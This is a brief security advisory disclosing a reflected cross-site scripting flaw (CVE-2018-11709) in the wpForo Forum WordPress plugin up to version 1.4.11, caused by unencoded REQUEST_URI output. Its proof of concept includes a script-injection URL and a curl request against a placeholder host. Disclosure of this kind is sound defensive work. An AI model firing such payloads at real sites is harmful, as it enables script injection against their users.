wpForo Forum <= 1.4.11 – Unauthenticated Reflected Cross-Site Scripting (XSS) | CVE 2018-11709

Description

Version 1.4.11, and below, of the wpForo Forum WordPress Plugin were found to be vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability was due to the Plugin using the $_SERVER['REQUEST_URI'] PHP variable to create a URL string that was later output within HTML without any output encoding.

Proof of Concept

Click on the following link while using the Internet Explorer (IE) web browser, with the XSS filter disabled:

http://www.example.com/index.php/community/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E

Alternatively, run the following cURL request and notice that the XSS payload is output within HTML, without any validation, or output encoding:

curl -s 'http://www.example.com/index.php/community/?"><script>alert(/XSS/)</script>' | grep "XSS"